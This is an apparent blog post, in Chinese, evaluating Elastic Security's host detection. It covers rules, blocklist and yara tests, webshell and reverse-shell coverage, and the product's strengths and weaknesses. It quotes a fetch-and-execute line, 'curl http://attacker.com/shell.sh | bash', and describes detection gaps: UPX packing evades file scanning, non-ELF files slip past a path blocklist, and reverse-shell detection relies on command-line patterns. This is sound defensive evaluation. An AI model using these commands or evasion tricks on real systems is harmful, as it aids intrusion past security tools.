说到 Elastic 这家公司,大部分的第一反应就是 Elasticsearch,常用于海量数据的索引和搜索,但是今天要研究和试用的不是 ES 数据库,而是 Elastic Security 产品。因为之前在搜索一些安全相关的规则和资料的时候,发现了 https://github.com/elastic/detection-rules 里面包含很多检测检测规则,比如恶意命令、yara 规则等等,这才发现这家公司还做安全产品,其官网在 https://www.elastic.co/cn/securityhttps://www.elastic.co/cn/security-labs/

其官网上提到,Elastic Security 产品主要分为四部分:

这几个概念有一定的重合,有一些我也不是特别感兴趣,我们就只关注主机安全这个方向,模拟企业内网有一些主机,关注风险发现和入侵检测的覆盖面和效果。

Add security Integrations

注册和初始化环境等步骤就跳过了,请参考文档 https://www.elastic.co/guide/en/security/8.4/index.html

进入 Security Dashboard 之后提示要 Add Security Integrations,我就有点迷茫了,因为上面三个大大的图标(Web crawler 那里),下面还有一堆小图标,他们的关系是什么?我要研究的是不是 Endpoint and Cloud Security 功能?后来我才发现,这三个其实也存在于下面这一堆应用中(因为截图尺寸的原因,左侧实际已经选择了 Security 分类了),估计是因为按首字母排序的,怕被淹没在里面。

添加 Endpoint and Cloud Security 之后,需要安装探针,给了一个在线下载和安装的 Shell 命令,运行安装命令,然后在界面上能看到这台机器就可以了。进入 Dashboard 页面之后,默认给了四个 Dashboard:

这里也支持创建自定义的 dashboard,感觉就是 Kibana 那一套了,不是关注的重点,现在也没有数据,先不管了。

策略和规则

在页面左下角有策略配置页面,主要分为

Policies

Policy Settings 页面是具体的配置规则,包括

You can now configure credential hardening protection in an integration policy. Credential hardening prevents attackers from stealing credentials stored in Windows system process memory. Turn on the toggle to remove any overly permissive access rights that aren’t required for standard interaction with the Local Security Authority Subsystem Service (LSASS). https://www.elastic.co/guide/en/elastic-stack/master/security-highlights.html

探针架构

从上述的设置项和一些没有提到的高级设置和一些简单的逆向分析中可以推断出来一些探针端架构:

Rules

以 Hosts File Modified 规则为例,这个是检测 hosts 文件变动的规则。左侧是规则的一些 Meta 信息,右侧是规则的内容。规则的查询语句简化一下就是 hosts 文件创建修改 || 编辑器进程 cmdline 中包含 hosts 文件,根据这个可知,其依赖两种数据源,文件监控和进程监控数据。

需要注意的是:

  1. 这些规则都是默认禁用的,需要手动开启
  2. 这些规则都是定时运行的,Schedule 模块中可以配置,非实时检测。

规则 Meta 信息中提醒,要使用文件监控功能,需要添加 File Integrity Monitoring 功能,在添加的时候可以设置策略,默认就非递归的监控一些 bin 目录和 /etc 目录等。但是我怎么配置都不成功,无法收到预期的文件变动事件,但是却能看到一些没有配置的路径的事件,比如 postgres 的临时文件等,不太懂是怎么回事。

按照进程监控的的规则来触发倒是挺顺利的,直接 vim /etc/hosts 即可。事件列表右侧有四个图标,可以查看详情、加白、Timeline 分析、Session 分析等操作。

Timeline 就是将某个时间范围内的事件/日志放在一起去查看,可能还是了解不够多,想不出来这个功能到底有什么用处,因为这个和自己在事件列表中搜索、聚合,然后保存为一个查询模板,也没啥区别?除了时间从一个字段变成了页面上面一个时间轴。

Session 分析就是能将一些命令进行聚合,比如其来源于某一个 SSH 登录,多个 session 之间可以关联,比如 SSH 登录之后又 SSH 到了其他机器上等等,技术原理应该不难理解,用起来挺简单明了的。

安全效果测试

恶意文件和自定义黑名单

上文提到我添加了 /tmp/sleep 为文件黑名单,来测试下。

直接 cp /bin/sleep /tmpls 发现文件直接消失了,被 agent 删除了?但是执行的足够快的话,比如使用 cp /bin/sleep /tmp && ls -la /tmp/sleep 有一定概率还是能看到的。

ubuntu# cp /bin/sleep /tmp && ls -la /tmp/sleep
ls: cannot access '/tmp/sleep': No such file or directory

ubuntu# cp /bin/sleep /tmp && ls -la /tmp/sleep
-rwxr-xr-x 1 root root 39256 Oct  9 15:51 /tmp/sleep

ubuntu# cp /bin/sleep /tmp && sleep 1 && ls -la /tmp/sleep
ls: cannot access '/tmp/sleep': No such file or directory

不过试了下,其阻断是好像是实时的,那前面的问题也是可以接受的,毕竟文件只能存在不能执行,也不会有什么问题。

ubuntu# cp /bin/sleep /tmp && /tmp/sleep
zsh: operation not permitted: /tmp/sleep

测试过程中还有一点比较奇怪的是,这个阻断会判断文件类型,即使添加的规则是阻断指定路径,只要路径新建的文件不是 ELF,比如是文本文件、shell 脚本等,那这个规则就不起作用,如果将一个正常的 ELF 截断一部分,还是可以识别的,也许通过一些 fuzz 还是可以找出一些绕过的。

ubuntu# python3 -c "print('A'*1000)" > sleep && sleep 1 && ls -la sleep
-rw-r--r-- 1 root root 1001 Oct 10 10:35 sleep

ubuntu# python3 -c "print('ELF'*1000)" > sleep && sleep 1 && ls -la sleep
-rw-r--r-- 1 root root 3001 Oct 10 10:35 sleep

ubuntu# python3 -c "print('ELF\x7f'*1000)" > sleep && sleep 1 && ls -la sleep
-rw-r--r-- 1 root root 4001 Oct 10 10:37 sleep

ubuntu# head -c 50 /bin/sleep > sleep && sleep 1 && ls -la sleep
-rw-r--r-- 1 root root 50 Oct 10 10:38 sleep

ubuntu# head -c 80 /bin/sleep > sleep && sleep 1 && ls -la sleep
ls: cannot access 'sleep': No such file or directory

根据 https://www.elastic.co/blog/linux-malware-protection-in-elastic-security 的说法,Elastic Security 中的恶意文件检测似乎只依赖于 yara 规则进行本地的文件和内存扫描,并且在 https://github.com/elastic/protections-artifacts/tree/main/yara 开源。

看到了检测 frp 的规则,简单测试了下,直接在 Github release 上下载的确实可以直接杀掉,但是如果经过简单的处理,比如 UPX 加壳,那文件查杀就不行了,虽然说也有内存扫描,但是进程跑了很久也没啥反应。

Webshell 检测

其界面和文档上没有提到过 Webshell 检测功能,尝试在 /var/www/html 等目录写入一些一句话木马,也没有什么反应。

在 yara 规则中有一个 Linux_Webshell_Generic.yar,但是它写的特征根本没看懂,然后根据哈希去 VirusTotal 上搜索了下才发现,这其实还是 elf 文件的的规则。

基本可以确定 Elastic Security 没有传统意义上的 Webshell 检测功能。

检测规则

因为这些都是开源的确定性的规则,只要进程或者日志能抓到、能传上去就理论上应该能检测,所以这部分重点关注规则的内容和部分重点的方向,而不再过多的实际去测试。

PS:有些规则看上去参考了 sigma rules

反弹 shell 检测

反弹 shell 检测技术,在国内基本都是基于 bash 等进程的网络连接去实时检测了,而 Elastic Security 还都是基于常见反弹 shell 的命令行特征去检测的,包括 /dev/tcppty.spawn 等等,会存在不少漏报。

WebRCE

大部分的 RCE 的入口都是 Web 进程,比如 php、Java 等,对于这个场景它也有一些规则覆盖,但是也仅限于部分硬编码的 Web Server 进程启动 bash、curl 等,存在不少误报和漏报。毕竟执行命令也是 Web 应用业务上常见的操作,容易造成告警爆炸。

Windows

Windows 上规则比较多,基本能覆盖常见的攻击手法,比如恶意命令、lsass dump、UAC Bypass、恶意 PowerShell 内容匹配等等,除了进程和文件监控外,大部分都是基于 Windows 安全日志来匹配的。

因为 Windows 上还支持收集网络连接和 DLL 加载等信息,所以对于异常进程外联、DLL 劫持等也有些支持。

自定义规则

自定义规则就是自定义查询、聚合后阈值限制和威胁情报,其中前两个就是自己去基于 KQL 或者 EQL 查询之后直接报事件,或者 group by 某个字段后 count 超阈值就报事件。威胁情报就是设置事件的字段和威胁情报数据源的映射之后,如果有匹配就告警。

部分其他功能研究

osquery

支持在主机上运行 osquery 查询并返回结果,在进行应急响应、事件调查的时候会有很多帮助,毕竟安全人员不一定有业务机器的权限。

机器学习

根据 https://www.elastic.co/guide/en/security/8.4/prebuilt-ml-jobs.html ,其内置的机器学习模型包括以下几类,无法进行自定义,部分需要其他的数据源支持。

因为其没有透露过多的细节,所以对于这个功能先不进行深入的测试了。

tty 输出记录

此功能尚在规划中,但是因为 Elastic Security 的部分设计文档是公开的,所以我们也可以看到一些信息,参考 https://github.com/elastic/ecs/blob/main/rfcs/text/0035-tty-output.md ,我猜测可能和下面功能有关:

基于进程监控经常遇到的一些问题就是 pipe 数据传递,比如 curl http://attacker.com/shell.sh | bash 是常见的操作,但是基于进程监控却无法实现检测,因为这并不是一个命令,curl 执行完之后再执行 bash,然后再执行一系列 shell 子命令,而原始的 shell 脚本无法记录,如果可以捕获 输入输出的数据,那 bash 执行的原始命令就可以记录了。

在其他的场景下,能保存进程的输出,对于事件溯源、审计等也有一定的帮助,比如 tail access.log && rm access.log

优缺点分析

Elastic Security 的界面、交互和设计思路还是基本沿用 ELK 技术栈,提供了非常强大的数据收集、存储、分析和展示能力,因为已经保存了大量的原始数据,如果用户对这些技术非常的熟悉,可以实现非常高的自定义能力,甚至能通过写 SQL 来重写一个界面,实现分析、图表展示等功能。

自定义规则也是类似,虽然官方默认提供的一些规则有些粗糙,但是如果对安全和分析都非常的熟悉,可以自己再编写高级检测规则,可以分析时间跨度很久的数据,比如实现事件溯源、进程资产采集、软件资产的变动监控等等。

缺点也是非常的明显,就是对小白客户的使用门槛太高,不是开箱即用的状态;文件检测能力太弱,比如只有本地 yara 规则,不支持 webshell 检测等;上文提到的,资产收集的数据有,但是没有明显的暴露出来,需要自己去写查询。